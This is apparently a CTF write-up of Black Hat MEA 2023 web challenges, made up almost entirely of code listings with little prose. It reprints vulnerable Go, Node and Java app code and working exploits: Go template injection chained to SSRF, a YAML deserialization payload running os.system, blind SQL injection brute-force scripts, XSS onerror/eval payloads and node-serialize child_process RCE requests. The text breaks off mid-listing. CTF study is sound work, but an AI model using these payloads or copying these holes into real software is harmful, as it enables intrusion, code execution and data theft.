Black Hat MEA CTF 2023 Web Writeup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

func LogoutHandler(c *fiber.Ctx) error {
	session, err := sessions.RSS.Get(c)

	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}
	session.Destroy()
	if err := session.Save(); err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	redirectTo := c.Query("redirect_to", "/login")

	return c.Redirect(redirectTo)
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

func ViewSpecificTransactionsInfo(c *fiber.Ctx) error {
	transaction_id, err := c.ParamsInt("id", 0)
	forWhom := c.Query("for", "")

	if err != nil {
		return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
	}

	if transaction_id == 0 {
		return c.Status(http.StatusBadRequest).SendString("Invalid transaction id")
	}

	s, err := sessions.RSS.Get(c)
	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	accountId, ok := s.Get("account_id").(uint)

	if !ok {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	uid := uint(accountId)

	var transaction models.Transaction
	err = models.FindUserTransaction(&transaction, uint(transaction_id), uid, "DESC")

	if err != nil {
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	tmpl, err := template.New("").Parse(
		"Transaction ID: {{.ID}}| Amount: {{.Amount}}| Description: {{.Description}}| Type: {{.Type}}| Account ID: {{.AccountID}}| Created At: {{.CreatedAt}}|From:" + forWhom,
	)
	if err != nil {
		fmt.Println(err)
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	var tpl bytes.Buffer
	if err := tmpl.Execute(&tpl, &transaction); err != nil {

	}

	res := tpl.String()

	config.CustomLogger.Log(res)

	return c.Render("transaction", fiber.Map{
		"transaction": transaction,
	})

}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

func (t *Transaction) DoesPartyExist(desc string) bool {

	parts := strings.Split(desc, "|")
	transferURL, err := url.Parse(parts[0][3:])

	if err != nil {
		return false
	}

	isLocal := strings.HasPrefix(transferURL.Host, "127.0.0.1:3000") && strings.HasPrefix(transferURL.Path, "/user/")

	if !isLocal {
		return false
	}

	transferURL.Path = path.Clean(transferURL.Path)

	client := &http.Client{}

	req, err := http.NewRequest("GET", transferURL.String(), nil)

	if err != nil {
		return false
	}
	resp, err := client.Do(req)

	if err != nil {
		return false
	}
	defer resp.Body.Close()

	return resp.StatusCode != http.StatusNotFound

}

1

/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}

1

exp: !!python/object/apply:os.system ["whoami"]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

#!/usr/bin/env python3

import datetime
import os
import requests
import signal
from yaml import *

signal.alarm(20)


def verify_records(s):
    return "[+] I'm done, let me go home\n" + s


pw = "SUPER_DUPER_SECRET_STRING_HERE"
auth_data = {"username": "MisterX", "password": pw}


print("[+] Let me get into my office")

sess = requests.Session()
resp = sess.post(
    "http://localhost:3000/login",
    data={"username": "MisterX", "password": pw},
    headers={"Content-Type": "application/x-www-form-urlencoded"},
    allow_redirects=False,
)


# sess.cookies.set("session_id", resp.cookies.get("session_id"))


print("[+] Verifying old records, I am shocking with dust, Damn there are rats too !")
resp = sess.get("http://localhost:3000/transactions/report/info/all")
print(resp.text)

if len(resp.text) != 0:
    print("[-] I am not happy, I am not going to work today")

    reports = resp.text.split("|")

    for report in reports:
        try:
            report_id = report.split(":")[0]
            user_id = report.split(":")[1]

            print("[+] Interesting record here, ")
            res = sess.get(
                "http://localhost:3000/transactions/report/gen/"
                + report_id
                + "?user_id="
                + user_id
            )
            if res.status_code == 200:
                loaded_yaml = load(res.text, Loader=Loader)
                print(verify_records(loaded_yaml))
        except:
            print("[-] ~#! !!!! Oo $h/t the rats are eating the old records")


resp = sess.get("http://localhost:3000/users")
print("[+] Got new reports for today hope not, let me do my work you shorty!")

print(resp.json())

for user in resp.json():
    try:
        resp = sess.get(
            "http://localhost:3000/transactions/report/gen/1?user_id=" + str(user["ID"])
        )
    except:
        print("[+] a bit more ...")

print(f"[{datetime.datetime.now()}] Accountant will be back soon.")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

// /report/gen/:id
func GetReport(c *fiber.Ctx) error {
	report_id := c.Params("id", "")

	user_id := c.QueryInt("user_id", 0)

	if report_id == "" {
		return c.Status(http.StatusBadRequest).SendString("Invalid Id value")
	}

	report, _ := models.VerifyReportInCache(report_id)

	if report != "" {
		return c.SendString(report)
	}

	if user_id == 0 {
		return c.Status(http.StatusBadRequest).SendString("Invalid user id")
	}

	report, err := models.GenerateReport(uint(user_id))

	if err != nil {

		fmt.Println("[+] Error generating report, ", err)

		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error: Error generating report")
	}

	report_id = utils.HashStringToSha256(report)

	_ = models.SaveReportInCache(report_id, report)

	if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
		cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
	}

	c.Response().Header.Set("Content-Type", "text/yaml")

	return c.SendString(report)
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

func GenerateReport(userID uint) (string, error) {

	latestTransactions, err := GetLatestUserTransactions(userID)

	fmt.Println(latestTransactions)

	if err != nil {
		return "", err
	}

	if len(latestTransactions) == 0 {
		return "", errors.New("No transactions found")
	}

	if len(latestTransactions) < 10 {
		return "", errors.New("Not enough transactions to generate report")
	}

	var report string

	descArray := []TransactionDescription{}

	for _, transaction := range latestTransactions {
		desc, err := transaction.GetTransactionDescription()
		if err != nil {
			return "", err
		}

		descArray = append(descArray, desc)
	}

	report, err = DumpTransactionDescriptionsToYaml(descArray)

	return report, err
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

// /financial-note/view/:title
func ViewFinancialNote(c *fiber.Ctx) error {
	title := c.Params("title")

	var financialNote models.FinanceNote

	if len(title) < 4 {
		return c.Status(http.StatusBadRequest).SendString("Note must be at least 4 character and same for its title.")
	}

	res, err := config.Cache.Get(title)

	if err != nil && res != "" {
		financialNote.Title = title
		financialNote.Note = res
		return c.Render("financial_note", financialNote)
	}

	s, err := sessions.RSS.Get(c)

	if err != nil {
		fmt.Println(err)
		return c.Status(http.StatusInternalServerError).SendString("Internal Server Error")
	}

	userId, ok := s.Get("user_id").(uint)

	if !ok {
		fmt.Println(err, userId)
	}

	if err := models.GetUserNoteByTitle(&financialNote, title); err != nil {
		return c.SendStatus(http.StatusNotFound)
	}

	if err := config.Cache.Set(title, financialNote.Note); err != nil {
		fmt.Println(err)
		return c.SendStatus(http.StatusInternalServerError)
	}

	return c.Render("financial_note", financialNote)

}

1

/transactions/view/dev/2?for={{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:4444/|123"}}

1
2
3
4

// /report/info/all
func GetReportsKeys(c *fiber.Ctx) error {
	return c.SendString(strings.Join(cachedKeys, "|"))
}

1
2
3

if !slices.Contains(cachedKeys, report_id+":"+strconv.Itoa(user_id)) {
  cachedKeys = append(cachedKeys, report_id+":"+strconv.Itoa(user_id))
}

1
2
3

func (r RedisConnection) Set(key string, value string) error {
	return r.client.Set(r.client.Context(), key, value, 30*time.Second).Err()
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128

import requests
from urllib.parse import quote
import time
import hashlib
import re

# url = 'http://a91ea859f3ba8f8e2524a.playat.flagyard.com'

url = 'http://127.0.0.1:3000'

report = '''- sender: ""
  username: ""
  balance_before: 9
  balance_after: 10
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 8
  balance_after: 9
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 7
  balance_after: 8
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 6
  balance_after: 7
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 5
  balance_after: 6
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 4
  balance_after: 5
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 3
  balance_after: 4
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 2
  balance_after: 3
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 1
  balance_after: 2
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
- sender: ""
  username: ""
  balance_before: 0
  balance_after: 1
  description: depositREPLACE
  transaction_details:
    from: go-get-it
    result: success
'''

s = requests.Session()

print('register')
s.post(url + "/register", data={"username": "test1234", "password": 'test1234'})

print('login')
s.post(url + "/login", data={"username": "test1234", "password": 'test1234'})

print('trasactions')
for _ in range(10):
    print('deposit')
    s.post(url + '/account', data={
        'operation': 'deposit',
        'to': '3',
        'amount': '1'
    })

print('find report_id')
res = s.get(url + '/account')
created_at = re.findall(r"deposit\|(\d\d\d\d-\d\d-\d\d \d\d\:\d\d)", res.text)[0]

report = report.replace('REPLACE', created_at)
report_id = hashlib.sha256(report.encode()).hexdigest()

print('add note')
s.post(url + '/user/financial-note/new', data={
    'title': report_id,
    'note': 'exp: !!python/object/apply:os.system ["cat /* > /app/static/flag.txt"]'
})

while True:
    print('write note to redis')
    payload = quote(r'{{.DoesPartyExist "TO:http://127.0.0.1:3000/user/../logout?redirect_to=http://127.0.0.1:3000/financial-note/view/' + report_id + '|123"}}')
    res = s.get(url + '/transactions/view/dev/2?for=' + payload)
    
    time.sleep(1)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

func SecretDoor(c echo.Context) error {

	master_key := c.FormValue("master_key")

	if master_key != "" && !utils.IsBlacklisted(master_key) {
		var id string

		err := utils.Db.QueryRow(fmt.Sprintf("SELECT id FROM masterKeys WHERE master_key = '%s'", master_key)).Scan(&id)

		if err != nil {
			if err == sql.ErrNoRows {
				return echo.ErrBadRequest
			}
			return echo.ErrInternalServerError
		}

	}

	return c.NoContent(200)
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

func IsBlacklisted(input string) bool {
	blacklist := []string{
		"--", ";", "/*", "*/", "@@", "@", "char", "nchar", "varchar", "nvarchar",
		"alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end",
		"exec", "execute", "fetch", "insert", "kill", "open", "select", "sys", "sysobjects", "union",
		"syscolumns", "table", "update",
	}

	for _, keyword := range blacklist {
		if strings.Contains(strings.ToLower(input), keyword) {
			return true
		}
	}
	return false
}

1

master_key=1' or master_key like 'flag{%

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Note Display</title>

    <!-- Include pico.css -->
    <link rel="stylesheet" href="/static/pico.css">
</head>

<body>

    <div class="container">
        <h1>Your Note:</h1>
        <div id="noteOutput"></div>
    </div>

    <script src="/static/main.js"></script>
    <script>
        init() 
    </script>

    <!-- Include DOMPurify for sanitizing -->
    <script type="text/javascript" src="/static/purify.min.js"></script>

</body>

</html>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function simpleMarkdownToHTML(md) {
    let html = md;

    // Convert headers
    html = html.replace(/^# (.*$)/gim, '<h1>$1</h1>');
    html = html.replace(/^## (.*$)/gim, '<h2>$1</h2>');
    html = html.replace(/^### (.*$)/gim, '<h3>$1</h3>');
    html = html.replace(/^#### (.*$)/gim, '<h4>$1</h4>');


    // Convert images
    html = html.replace(/!\[(.*?)\]\((.*?)\)/gim, '<img src="$2" alt="$1">');

    // Convert links
    html = html.replace(/\[(.*?)\]\((.*?)\)/gim, '<a href="$2">$1</a>');

    // Convert bold text
    html = html.replace(/\*\*(.*?)\*\*/gim, '<b>$1</b>');
    html = html.replace(/__(.*?)__/gim, '<b>$1</b>');


    // Convert italic text
    html = html.replace(/\*(.*?)\*/gim, '<i>$1</i>');
    html = html.replace(/_(.*?)_/gim, '<i>$1</i>');

    // Convert blockquotes
    html = html.replace(/^> (.*$)/gim, '<blockquote>$1</blockquote>');

    return html;
}


function init() {
    document.addEventListener("DOMContentLoaded", function () {
        let note = getQueryParam('note');

        if (note) {

            if (typeof note === "string" && note.length > 150) {
                note = "Here is a placeholder note as yours is so long "
            }
            else {
                const currNote = atob(note)
                const safeHTML = DOMPurify.sanitize(currNote);
                note = simpleMarkdownToHTML(safeHTML);
            }

        } else {
            console.warn('No note query parameter set.');
            note = "Who Doesn't love cats"
        }


        document.getElementById('noteOutput').innerHTML = note;
    });
}

1

![" onerror="eval(atob('YWxlcnQoMCk='))](0)

1

![" onerror="u=new URLSearchParams(window.location.search);eval(atob(u.get('x')))](0)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

func HandleKeeper(c echo.Context) error {
	// Get the payload from the POST form data
	payload := c.FormValue("payload")

	// Insert the payload into the vault table
	_, err := utils.Db.Exec("INSERT INTO vault (payload) VALUES (?)", payload)
	if err != nil {
		return echo.NewHTTPError(http.StatusInternalServerError, "Failed to save payload")
	}

	return c.String(http.StatusOK, "Payload saved successfully!")
}

func ViewKeeper(c echo.Context) error {

	var payloads []string
	rows, err := utils.Db.Query("SELECT payload FROM vault")
	if err != nil {
		fmt.Println(err)
		return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
	}

	defer rows.Close()

	for rows.Next() {

		var x string
		if err := rows.Scan(&x); err != nil {
			return echo.NewHTTPError(http.StatusInternalServerError, "Restart instance")
		}

		payloads = append(payloads, x)
	}

	if err := rows.Err(); err != nil {
		panic(err)
	}

	return c.String(200, strings.Join(payloads, "-------------------\n"))

}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

(async function() {
    let flag = 'flag{';
    let dicts='{}-0123456789abcdefghijklmnopqrstuvwxyz_'
    while (true) {
        for (let i = 0; i < dicts.length; i++) {
            let res = await fetch("/secret-door", {
                method: "POST",
                headers: {
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                body: "master_key=1' or master_key like '" + flag + dicts[i] + "%25"
            })
            if (res.status == 200) {
                console.log(res.status)
                flag += dicts[i]
                console.log(flag)
                if (dicts[i] == '}') {
                    fetch("/keeper", {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/x-www-form-urlencoded"
                        },
                        body: "payload=" + flag
                    })
                    return
                }
                break
            }
        }
    }
})()

1

http://localhost:3000/secret-note?note=IVsiIG9uZXJyb3I9InU9bmV3IFVSTFNlYXJjaFBhcmFtcyh3aW5kb3cubG9jYXRpb24uc2VhcmNoKTtldmFsKGF0b2IodS5nZXQoJ3gnKSkpXSgwKQ==&x=KGFzeW5jIGZ1bmN0aW9uKCkgewogICAgbGV0IGZsYWcgPSAnQkhGbGFnWXsnOwogICAgbGV0IGRpY3RzPSd7fS0wMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpfJwogICAgd2hpbGUgKHRydWUpIHsKICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGRpY3RzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGxldCByZXMgPSBhd2FpdCBmZXRjaCgiL3NlY3JldC1kb29yIiwgewogICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICBoZWFkZXJzOiB7CiAgICAgICAgICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiCiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgYm9keTogIm1hc3Rlcl9rZXk9MScgb3IgbWFzdGVyX2tleSBsaWtlICciICsgZmxhZyArIGRpY3RzW2ldICsgIiUyNSIKICAgICAgICAgICAgfSkKICAgICAgICAgICAgaWYgKHJlcy5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICBjb25zb2xlLmxvZyhyZXMuc3RhdHVzKQogICAgICAgICAgICAgICAgZmxhZyArPSBkaWN0c1tpXQogICAgICAgICAgICAgICAgY29uc29sZS5sb2coZmxhZykKICAgICAgICAgICAgICAgIGlmIChkaWN0c1tpXSA9PSAnfScpIHsKICAgICAgICAgICAgICAgICAgICBmZXRjaCgiL2tlZXBlciIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIgogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBib2R5OiAicGF5bG9hZD0iICsgZmxhZwogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9KSgp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

fastify.get("/", { preHandler: isLoggedIn }, async (req, reply) => {
	let notes = [];
	if (req.cookies.notes) {
		const { valid, value } = req.unsignCookie(req.cookies.notes);

		if (!valid) {
			reply.clearCookie("notes");
			return reply.code(400).send({ error: { message: "Something is wrong" } });
		}
		const decodedCookie = Buffer.from(value, "base64");

		notes = global.serializer.fromBuffer(decodedCookie).map((x) => {
			new WAF(objSerializer, x);
			return objSerializer.unserialize(x);
		});

	}

	const { value } = req.unsignCookie(req.cookies.username);

	return reply.view("templates/index.ejs", {
		user: { username: value },
		notes,
	});
});

fastify.post("/", { preHandler: isLoggedIn }, async (req, reply) => {

	try {
		new WAF(objSerializer, req.body.note);
	} catch (e) {
		return reply.code(400).send(e);
	}

	if (req.body.note) {
		if (req.cookies.notes) {
			const { valid, value } = req.unsignCookie(req.cookies.notes);
			if (valid) {
				const decodedBuffer = Buffer.from(value, "base64");

				const notes = global.serializer.fromBuffer(decodedBuffer);
				notes.push(objSerializer.serialize(req.body.note));

				const serializedNotes = global.serializer.toBuffer(notes);
				reply.cookie("notes", serializedNotes.toString("base64"), {
					signed: true,
					httpOnly: true,
					secure: false,
				});
			} else {
				reply.clearCookie("notes");
			}
		} else {
			const serializedNote = objSerializer.serialize(req.body.note);
			reply.cookie(
				"notes",
				global.serializer.toBuffer([serializedNote]).toString("base64"),
				{
					signed: true,
					httpOnly: true,
					secure: false,
				}
			);
		}
		return reply.send({
			success: true,
		});
	}

	return reply.code(400).send({
		error: {
			message: "Bad note",
		},
	});
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

const blacklist = [
	"atob",
	"btoa",
	"process",
	"exec",
	"Function",
	"require",
	"module",
	"global",
	"console",
	"+",
	"-",
	"*",
	"/",
	"===",
	"<",
	">=",
	"<=",
	"&&",
	"||",
	"new",
	"users",
	"[",
	"]",
	"Array",
	"constructor",
	"__proto__",
	"prototype",
	"hasOwnProperty",
	"valueOf",
	"toString",
	"charCodeAt",
	"fromCharCode",
	"string",
	"slice",
	"split",
	"join",
	"substr",
	"substring",
	"RegExp",
	"test",
	"match",
	"db",
	"Buffer",
	"setTimeout",
	"setInterval",
	"setImmediate",
	"Promise",
	"async",
	"await",
	"throw",
	"catch",
];

class Waf {
	constructor(serializer, any) {
		let value = any;
		if (typeof any === "object") {
			value = serializer.serialize(any);
		}

		if (value.length > 130) {
			throw new Error({
				message: "too long, no DDOS",
			});
		}

		for (let i = 0; i < blacklist.length; i++) {
			if (value.includes(blacklist[i])) {
				console.log(blacklist[i]);
				throw new Error({
					message: "not safe",
				});
			}
		}
		const result = vm.runInContext(
			` serializer.unserialize(value); `,
			vm.createContext({ value, serializer }),
			{ timeout: 1000 }
		);

		if (
			(typeof result === "string" ||
				(typeof result === "object" && result instanceof Array)) &&
			result.includes(process.env.FLAG)
		) {
			throw new Error({
				message: "nice try",
			});
		}
	}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 138

{
"note":{
"x":"_$$ND_FUNC$$_function({eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('env>a')\"))}()"
}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

POST / HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:3000/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: username=test.iM0hCLU0fZc885zfkFPX3UJwSHbYyam9ji0WglnT3fc;
Connection: close
Content-Type: application/json
Content-Length: 147

{
"note":{
"x":"_$$ND_FUNC$$_function(){eval(\"re\".concat(\"quire('child_pr\").concat(\"ocess').exe\").concat(\"c('mv a s\\u002A')\"))}()"
}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

@GetMapping("/flag")
public ResponseEntity<String> getFlag(
    HttpServletRequest request) throws Exception {
  String flag = "You need to subscribe to get the flag.";
  String session = getSession(request);
  User user = userService.getUserBySession(session);
  if (user == null) {
    return new ResponseEntity<>(flag, HttpStatus.OK);
  }
  if (user.getSubscribed()) {
    flag = new Flag().getFlag();
  }
  return new ResponseEntity<>(flag, HttpStatus.OK);
}

1
2
3
4
5
6
7
8

@RequestMapping("/use/{id}")
public void create(
        @Valid @PathVariable String id,
        @RequestParam(value = "userId", defaultValue = "0") String userId,
        HttpServletRequest request) throws Exception {
    validateOrigin(request);
    couponService.useCoupon(id, userId);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

private void validateOrigin(HttpServletRequest request) {
    try {

        InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
        String uri = requestAddress.toString().split("/")[1];

        boolean isLocalhost = uri.equals("127.0.0.1");

        if (isLocalhost) {
            return;
        } else {
            throw new Exception("Not allowed");
        }
    } catch (Exception e) {
        System.out.println(e);
        throw new RuntimeException(e);
    }

}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

public void useCoupon(String id, String userId) throws Exception {
    User u = userService.getUserById(userId);
    if (u == null) {
        throw new Exception("User not found");
    }

    Coupon coupon = getCouponById(id);

    if (coupon == null) {
        throw new Exception("Coupon not found");
    }

    if (!coupon.getIsValid()) {
        throw new Exception("Coupon is not valid");
    }

    u.setSubscribed(true);

    userService.updateUser(u);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

private String getSession(HttpServletRequest request) {
  Cookie[] cookies = request.getCookies();

  Cookie userCookie = null;
  if (cookies != null) {
    for (Cookie cookie : cookies) {
      if (cookie.getName().equals("user")) {
        userCookie = cookie;
        break;
      }
    }
  }

  if (userCookie == null)
    return null;

  return userCookie.getValue();
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

@Override
public User getUserBySession(String session) throws Exception {
    if (session == null) {
        return null;
    }
    try {
        byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
        ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
        ObjectInputStream ois = new Security(bis);
        Object o = ois.readObject();
        com.app.caching.User obj = (com.app.caching.User) o;
        return getUserById(obj.getId());
    } catch (Exception e) {
        return null;
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

 public class Security extends ObjectInputStream {
   public Security(InputStream inputStream) throws IOException {
     super(inputStream);
   }
 
   
   protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
     if (!Pattern.matches("(com\\.app\\.(.*))|(java\\.time\\.(.*))", desc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
     }
     return super.resolveClass(desc);
   }
 }

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

@PostMapping("register")
public void register(
    @Valid @RequestBody User user,
    @RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {

  try {
    String avatar = userService.getAvatar(avatarProvider, user.getUsername());
    user.setAvatar(avatar);
  } catch (Exception e) {
  }
  userService.register(user);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

@Override
public String getAvatar(String provider, String username) throws Exception {
    String avatarUrl = "http://%s/api/%s";
    avatarUrl = String.format(avatarUrl, provider, username);
    try {
        URL url = new URL(avatarUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("GET");
        InputStream inputStream = con.getInputStream();
        byte[] bytes = inputStream.readAllBytes();
        byte[] encoded = Base64.getEncoder().encode(bytes);
        String encodedString = new String(encoded);

        if (encodedString.length() == 0)
            return avatarUrl;
        return encodedString;
    } catch (Exception e) {
        e.printStackTrace();
        throw new Exception(e.getMessage());
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

@PostMapping("refresh")
